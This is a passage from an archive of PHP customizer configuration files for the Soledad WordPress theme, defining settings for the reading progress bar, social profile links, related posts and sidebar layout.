		'aria-describedby' => 'editor-keyboard-trap-help-1 editor-keyboard-trap-help-2 editor-keyboard-trap-help-3 editor-keyboard-trap-help-4',
	),
];

return $options;PK     0w\n    K  customizer/config/sections/penci_section_spost_reading_progress_section.phpnu [        <?php
$options = [];
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Reading Progress Bar', 'soledad' ),
	'id'       => 'penci_enable_reading_bar',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'label'    => __( 'Reading Progress Bar Position', 'soledad' ),
	'id'       => 'penci_reading_bar_pos',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-select',
	'default'  => 'footer',
	'choices'  => [
		'header' => __('Top','soledad' ),
		'footer' => __('Bottom','soledad' ),
		'side' 	 => __('Side - Circle','soledad' ),
	]
);
$options[] = array(
	'default'  => '5',
	'sanitize' => 'absint',
	'label'    => __( 'Reading Progress Bar Height', 'soledad' ),
	'id'       => 'penci_reading_bar_h',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_reading_bar_h',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 200,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Progress Bar Color', 'soledad' ),
	'id'       => 'penci_single_progress_color',
);
return $options;PK     0w\o "  "  E  customizer/config/sections/pencidesign_new_section_social_section.phpnu [        <?php
$options         = array();
$options[]       = array(
	'default'  => 'https://www.facebook.com/PenciDesign',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Facebook', 'soledad' ),
	'id'       => 'penci_facebook',
	'type'     => 'soledad-fw-text',
);
$options[]       = array(
	'default'  => 'https://x.com/PenciDesign',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Twitter (X)', 'soledad' ),
	'id'       => 'penci_twitter',
	'type'     => 'soledad-fw-text',
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Instagram', 'soledad' ),
	'id'       => 'penci_instagram',
	'type'     => 'soledad-fw-text',
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Pinterest', 'soledad' ),
	'id'       => 'penci_pinterest',
	'type'     => 'soledad-fw-text',
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'LinkedIn', 'soledad' ),
	'id'       => 'penci_linkedin',
	'type'     => 'soledad-fw-text',
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Flickr', 'soledad' ),
	'id'       => 'penci_flickr',
	'type'     => 'soledad-fw-text',
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Behance', 'soledad' ),
	'id'       => 'penci_behance',
	'type'     => 'soledad-fw-text',
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Tumblr', 'soledad' ),
	'id'       => 'penci_tumblr',
	'type'     => 'soledad-fw-text',
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Youtube', 'soledad' ),
	'id'       => 'penci_youtube',
	'type'     => 'soledad-fw-text',
);
$options[]       = array(
	'default'     => '',
	'sanitize'    => 'sanitize_text_field',
	'label'       => __( 'Email', 'soledad' ),
	'description' => __( 'If you want to click email icon to link to your mail, please fill: mailto:yourmail@hostmail. Change yourmail@hostmail.com to your mail. You also can fill your contact link page here', 'soledad' ),
	'id'          => 'penci_email_me',
	'type'        => 'soledad-fw-text',
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'VK', 'soledad' ),
	'id'       => 'penci_vk',
	'type'     => 'soledad-fw-text',
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Bloglovin', 'soledad' ),
	'id'       => 'penci_bloglovin',
	'type'     => 'soledad-fw-text',
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Vine', 'soledad' ),
	'id'       => 'penci_vine',
	'type'     => 'soledad-fw-text',
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Soundcloud', 'soledad' ),
	'id'       => 'penci_soundcloud',
	'type'     => 'soledad-fw-text',
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Snapchat', 'soledad' ),
	'id'       => 'penci_snapchat',
	'type'     => 'soledad-fw-text',
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Spotify', 'soledad' ),
	'id'       => 'penci_spotify',
	'type'     => 'soledad-fw-text',
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Github', 'soledad' ),
	'id'       => 'penci_github',
	'type'     => 'soledad-fw-text',
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Stack Overflow', 'soledad' ),
	'id'       => 'penci_stack',
	'type'     => 'soledad-fw-text',
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Twitch', 'soledad' ),
	'id'       => 'penci_twitch',
	'type'     => 'soledad-fw-text',
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Steam', 'soledad' ),
	'id'       => 'penci_steam',
	'type'     => 'soledad-fw-text',
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Vimeo', 'soledad' ),
	'id'       => 'penci_vimeo',
	'type'     => 'soledad-fw-text',
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'XING', 'soledad' ),
	'id'       => 'penci_xing',
	'type'     => 'soledad-fw-text',
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Whatsapp', 'soledad' ),
	'id'       => 'penci_whatsapp',
	'type'     => 'soledad-fw-text',
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Telegram', 'soledad' ),
	'id'       => 'penci_telegram',
	'type'     => 'soledad-fw-text',
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Reddit', 'soledad' ),
	'id'       => 'penci_reddit',
	'type'     => 'soledad-fw-text',
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Ok', 'soledad' ),
	'id'       => 'penci_ok',
	'type'     => 'soledad-fw-text',
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( '500px', 'soledad' ),
	'id'       => 'penci_500px',
	'type'     => 'soledad-fw-text',
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'StumbleUpon', 'soledad' ),
	'id'       => 'penci_stumbleupon',
	'type'     => 'soledad-fw-text',
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Wechat', 'soledad' ),
	'id'       => 'penci_wechat',
	'type'     => 'soledad-fw-text',
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Weibo', 'soledad' ),
	'id'       => 'penci_weibo',
	'type'     => 'soledad-fw-text',
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'LINE', 'soledad' ),
	'id'       => 'penci_line',
	'type'     => 'soledad-fw-text',
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Viber', 'soledad' ),
	'id'       => 'penci_viber',
	'type'     => 'soledad-fw-text',
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Discord', 'soledad' ),
	'id'       => 'penci_discord',
	'type'     => 'soledad-fw-text',
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'RSS Link', 'soledad' ),
	'id'       => 'penci_rss',
	'type'     => 'soledad-fw-text',
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Slack', 'soledad' ),
	'id'       => 'penci_slack',
	'type'     => 'soledad-fw-text',
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Mixcloud', 'soledad' ),
	'id'       => 'penci_mixcloud',
	'type'     => 'soledad-fw-text',
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Goodreads', 'soledad' ),
	'id'       => 'penci_goodreads',
	'type'     => 'soledad-fw-text',
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Trip Advisor', 'soledad' ),
	'id'       => 'penci_tripadvisor',
	'type'     => 'soledad-fw-text',
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Tik tok', 'soledad' ),
	'id'       => 'penci_tiktok',
	'type'     => 'soledad-fw-text',
);
$newsocial_array = array(
	'Dailymotion',
	'Blogger',
	'Delicious',
	'Deviantart',
	'Digg',
	'Evernote',
	'Forrst',
	'Grooveshark',
	'Lastfm',
	'Myspace',
	'Paypal',
	'Skype',
	'Window',
	'WordPress',
	'Yahoo',
	'Yandex',
	'Threads',
	'Bluesky',
	'Yelp',
);
foreach ( $newsocial_array as $social ) {
	$social_setting = 'penci_' . strtolower( $social );
	$options[]      = array(
		'default'  => '',
		'sanitize' => 'sanitize_text_field',
		'label'    => $social,
		'id'       => $social_setting,
		'type'     => 'soledad-fw-text',
	);
}
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Douban', 'soledad' ),
	'id'       => 'penci_douban',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'QQ', 'soledad' ),
	'id'       => 'penci_qq',
	'type'     => 'soledad-fw-text',
);

return $options;
PK     0w\1*  *  H  customizer/config/sections/penci_section_spost_related_posts_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Related Posts Box', 'soledad' ),
	'id'       => 'penci_post_related',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Related Posts Box on Mobile', 'soledad' ),
	'id'       => 'penci_post_related_mobile',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Make Related Posts Display in a Grid Layout ( not Slider )', 'soledad' ),
	'id'       => 'penci_post_related_grid',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Remove Border Top', 'soledad' ),
	'id'       => 'penci_post_related_rm_border',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => 'style-1',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Related Posts Style:', 'soledad' ),
	'id'       => 'penci_related_style',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'style-1' => __( 'Style 1', 'soledad' ),
		'style-2' => __( 'Style 2', 'soledad' ),
		'style-3' => __( 'Style 3', 'soledad' ),
		'style-4' => __( 'Style 4', 'soledad' ),
		'style-5' => __( 'Style 5', 'soledad' ),
		'style-6' => __( 'Style 6', 'soledad' ),
	)
);
$options[] = array(
	'default'  => 'categories',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Display Related Posts By:', 'soledad' ),
	'id'       => 'penci_related_by',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'categories'  => 'Categories',
		'tags'        => 'Tags',
		'primary_cat' => 'Primary Category from "Yoast SEO" or "Rank Math" plugin'
	)
);
$options[] = array(
	'default'  => 'date',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Order Related Posts', 'soledad' ),
	'id'       => 'penci_related_orderby',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'rand'          => __( 'Random Posts', 'soledad' ),
		'date'          => __( 'Published Date', 'soledad' ),
		'ID'            => __( 'Post ID', 'soledad' ),
		'modified'      => __( 'Modified Date', 'soledad' ),
		'title'         => __( 'Post Title', 'soledad' ),
		'comment_count' => __( 'Comment Count', 'soledad' ),
		'most_liked'    => __( 'Most Liked', 'soledad' ),
		'popular'       => __( 'Most Viewed Posts All Time', 'soledad' ),
		'popular_day'   => __( 'Most Viewed Posts Once Daily', 'soledad' ),
		'popular7'      => __( 'Most Viewed Posts Once Weekly', 'soledad' ),
		'popular_month' => __( 'Most Viewed Posts Once a Month', 'soledad' ),
	)
);
$options[] = array(
	'default'  => 'DESC',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Sort Order Related Posts', 'soledad' ),
	'id'       => 'penci_related_sort_order',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'DESC' => __( 'Descending', 'soledad' ),
		'ASC'  => __( 'Ascending', 'soledad' ),
	)
);
$options[] = array(
	'default'  => '8',
	'sanitize' => 'absint',
	'label'    => __( 'Words Length for Post Titles on Related Posts', 'soledad' ),
	'id'       => 'penci_related_posts_title_length',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_related_posts_title_length',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '8',
		),
	),
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Turn Off Uppercase in Post Titles Related Posts', 'soledad' ),
	'id'       => 'penci_off_uppercase_post_title_related',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Posts Format Icons in Related Posts', 'soledad' ),
	'id'       => 'penci_post_related_icons',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Post Date on Related Posts', 'soledad' ),
	'id'       => 'penci_hide_date_related',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Related Posts Carousel Auto Play', 'soledad' ),
	'id'       => 'penci_post_related_autoplay',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Dots On Carousel Related Posts', 'soledad' ),
	'id'       => 'penci_post_related_dots',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => true,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Next/Prev Button On Carousel Related Posts', 'soledad' ),
	'id'       => 'penci_post_related_arrows',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => '10',
	'sanitize' => 'absint',
	'label'    => __( 'Amount of Related Posts', 'soledad' ),
	'id'       => 'penci_numbers_related_post',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_numbers_related_post',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '10',
		),
	),
);
$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Exclude Featured Category from Related Posts based on Categories', 'soledad' ),
	'id'          => 'penci_post_related_exclusive_cat',
	'description' => __( 'Featured Category is category you selected to filter slider via Customize > Featured Slider > General. This option will help you remove that category on related posts based on categories', 'soledad' ),
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'sanitize'    => 'sanitize_text_field',
	'label'       => esc_html__( 'Related Posts Popup', 'soledad' ),
	'id'          => 'penci_section_related_post_popup',
	'description' => __( 'Please check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/related-posts-popup.png">this image</a> to know what is "Related Posts Popup"', 'soledad' ),
	'type'        => 'soledad-fw-header',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Related Posts Popup', 'soledad' ),
	'id'       => 'penci_related_post_popup',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Related Posts Popup on Mobile', 'soledad' ),
	'id'       => 'penci_related_post_popup_mobile',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => 'left',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Position of Related Posts Popup', 'soledad' ),
	'id'       => 'penci_rltpopup_position',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'left'  => 'Left',
		'right' => 'Right'
	)
);
$options[] = array(
	'default'  => 'categories',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Display Related Posts Popup By:', 'soledad' ),
	'id'       => 'penci_rltpopup_by',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'categories'  => __( 'Categories', 'soledad' ),
		'tags'        => __( 'Tags', 'soledad' ),
		'primary_cat' => __( 'Primary Category from "Yoast SEO" or "Rank Math" plugin', 'soledad' ),
	)
);
$options[] = array(
	'default'  => 'date',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Order Related Posts Popup', 'soledad' ),
	'id'       => 'penci_rltpopup_orderby',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'rand'          => __( 'Random Posts', 'soledad' ),
		'date'          => __( 'Published Date', 'soledad' ),
		'ID'            => __( 'Post ID', 'soledad' ),
		'modified'      => __( 'Modified Date', 'soledad' ),
		'title'         => __( 'Post Title', 'soledad' ),
		'comment_count' => __( 'Comment Count', 'soledad' ),
		'most_liked'    => __( 'Most Liked', 'soledad' ),
		'popular'       => __( 'Most Viewed Posts All Time', 'soledad' ),
		'popular7'      => __( 'Most Viewed Posts Once Weekly', 'soledad' ),
		'popular_day'   => __( 'Most Viewed Posts Once Daily', 'soledad' ),
		'popular_month' => __( 'Most Viewed Posts Once a Month', 'soledad' ),
	)
);
$options[] = array(
	'default'  => 'DESC',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Sort Order Related Posts Popup', 'soledad' ),
	'id'       => 'penci_rltpopup_sort_order',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'DESC' => __( 'Descending', 'soledad' ),
		'ASC'  => __( 'Ascending', 'soledad' ),
	)
);
$options[] = array(
	'default'  => '6',
	'sanitize' => 'absint',
	'label'    => __( 'Words Length for Post Titles on Related Posts Popup', 'soledad' ),
	'id'       => 'penci_rltpopup_title_length',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_rltpopup_title_length',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '6',
		),
	),
);
$options[] = array(
	'default'  => '3',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Amount of Posts Display on Related Posts Popup', 'soledad' ),
	'id'       => 'penci_rltpopup_numpost',
	'ids'      => array(
		'desktop' => 'penci_rltpopup_numpost',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '3',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Custom Padding Bottom of Related Posts Popup', 'soledad' ),
	'id'       => 'penci_rltpopup_padding_bottom',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_rltpopup_padding_bottom',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Date on Related Posts Popup', 'soledad' ),
	'id'       => 'penci_rltpopup_hide_date',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Related Posts Popup on Mobile', 'soledad' ),
	'id'       => 'penci_rltpopup_hide_mobile',
	'type'     => 'soledad-fw-toggle',
);

return $options;PK     0w\fG/  G/  D  customizer/config/sections/penci_section_sidebar_general_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'label'       => __( 'General', 'soledad' ),
	'id'          => 'penci_sidebar_heading_01',
	'type'        => 'soledad-fw-header',
);
$options[] = array(
	'label'    => __( 'Enable Sticky Sidebar', 'soledad' ),
	'id'       => 'penci_sidebar_sticky',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
);
$options[] = array(
	'label'    => __( 'Disable Sidebar for BBPress Forums', 'soledad' ),
	'id'       => 'penci_dis_sidebar_bbforums',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
);
$options[] = array(
	'label'    => __( 'Disable Sidebar for BBPress Forum', 'soledad' ),
	'id'       => 'penci_dis_sidebar_bbforum',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
);
$options[] = array(
	'label'    => __( 'Disable Sidebar for BBPress Topic', 'soledad' ),
	'id'       => 'penci_dis_sidebar_bbtoppic',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
);
$options[] = array(
	'label'       => __( 'Widget Styles', 'soledad' ),
	'id'          => 'penci_sidebar_heading_02',
	'type'        => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Select Sidebar Style', 'soledad' ),
	'id'       => 'penci_sidebar_style',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		''                  => __( 'Default', 'soledad' ),
		'pcsb-boxed-whole'  => __( 'Boxed Whole Sidebar', 'soledad' ),
		'pcsb-boxed-widget' => __( 'Boxed Widgets on Sidebar', 'soledad' ),
	)
);
$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Disable Boxed on "Custom HTML" widget?', 'soledad' ),
	'id'          => 'penci_sidebar_disable_phtml',
	'description' => __( 'This option just applies on "Custom HTML" widget & you\'ve selected sidebar style is "Boxed Widgets"', 'soledad' ),
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Custom Padding Value on Boxed Sidebar Styles', 'soledad' ),
	'id'       => 'penci_sidebar_padding',
	'ids'      => array(
		'desktop' => 'penci_sidebar_padding',
		'mobile'  => 'penci_sidebar_padding_mobile',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 2000,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 2000,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-hidden',
	'label'    => __( 'Custom Padding Value on Boxed Sidebar Styles', 'soledad' ),
	'id'       => 'penci_sidebar_padding_mobile',
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Select Borders Type on Sidebar Boxed Styles', 'soledad' ),
	'id'          => 'penci_sbbx_bdstyle',
	'description' => __( 'Some types need to adjust the borders width below to a minimum of 4px to see how it works.', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		''       => __( 'Default ( Solid )', 'soledad' ),
		'dotted' => __( 'Dotted', 'soledad' ),
		'dashed' => __( 'Dashed', 'soledad' ),
		'double' => __( 'Double', 'soledad' ),
		'groove' => __( 'Groove', 'soledad' ),
		'ridge'  => __( 'Ridge', 'soledad' ),
		'inset'  => __( 'Inset', 'soledad' ),
		'outset' => __( 'Outset', 'soledad' ),
	)
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Custom Borders Width on Sidebar Boxed Styles', 'soledad' ),
	'id'       => 'penci_sidebar_boxed_bdw',
	'ids'      => array(
		'desktop' => 'penci_sidebar_boxed_bdw',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 2000,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'  => '29.1',
	'sanitize' => 'absint',
	'label'    => __( 'Custom Sidebar Width', 'soledad' ),
	'id'       => 'penci_sidebar_width',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_sidebar_width',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '%',
			'default' => '29.1',
		),
	),
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'absint',
	'description' => __( 'This option will override the sidebar width set by % above. Default is 340px.', 'soledad' ),
	'label'       => __( 'Custom Sidebar Width in Pixel', 'soledad' ),
	'id'          => 'penci_sidebar_width_px',
	'type'        => 'soledad-fw-size',
	'ids'         => array(
		'desktop' => 'penci_sidebar_width_px',
	),
	'choices'     => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 2000,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'  => '21.5',
	'sanitize' => 'absint',
	'label'    => __( 'Sidebar Width on Two Sidebars Layout', 'soledad' ),
	'id'       => 'penci_2sidebar_width',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_2sidebar_width',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '%',
			'default' => '21.5',
		),
	),
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'absint',
	'description' => __( 'This option will override the sidebar width set by % above. Default is 300px.', 'soledad' ),
	'label'       => __( 'Sidebar Width on Two Sidebars Layout in Pixel', 'soledad' ),
	'id'          => 'penci_2sidebar_width_px',
	'type'        => 'soledad-fw-size',
	'ids'         => array(
		'desktop' => 'penci_2sidebar_width_px',
	),
	'choices'     => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 2000,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'  => '50',
	'sanitize' => 'absint',
	'label'    => __( 'Space Between Sidebar & Content', 'soledad' ),
	'id'       => 'penci_sidebar_space',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_sidebar_space',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '50',
		),
	),

);
$options[] = array(
	'default'  => '60',
	'sanitize' => 'absint',
	'label'    => __( 'Custom Space Between Widgets', 'soledad' ),
	'id'       => 'penci_sidebar_widget_margin',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_sidebar_widget_margin',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '60',
		),
	),
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Turn Off Uppercase Widget Heading', 'soledad' ),
	'id'       => 'penci_sidebar_heading_lowcase',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Remove Border Bottom on the list in Widgets', 'soledad' ),
	'description' => __( 'This option will remove the border-bottom on widgets: Soledad Latest Posts, Soledad Popular Posts, Categories,...', 'soledad' ),
	'id'          => 'penci_sidebar_rm_bdbottom',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => 'style-1',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Sidebar Widget Heading Style', 'soledad' ),
	'id'       => 'penci_sidebar_heading_style',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'style-1'           => __( 'Default Style', 'soledad' ),
		'style-2'           => __( 'Style 2', 'soledad' ),
		'style-3'           => __( 'Style 3', 'soledad' ),
		'style-4'           => __( 'Style 4', 'soledad' ),
		'style-5'           => __( 'Style 5', 'soledad' ),
		'style-6'           => __( 'Style 6 - Only Text', 'soledad' ),
		'style-7'           => __( 'Style 7', 'soledad' ),
		'style-9'           => __( 'Style 8', 'soledad' ),
		'style-8'           => __( 'Style 9 - Custom Background Image', 'soledad' ),
		'style-10'          => __( 'Style 10', 'soledad' ),
		'style-11'          => __( 'Style 11', 'soledad' ),
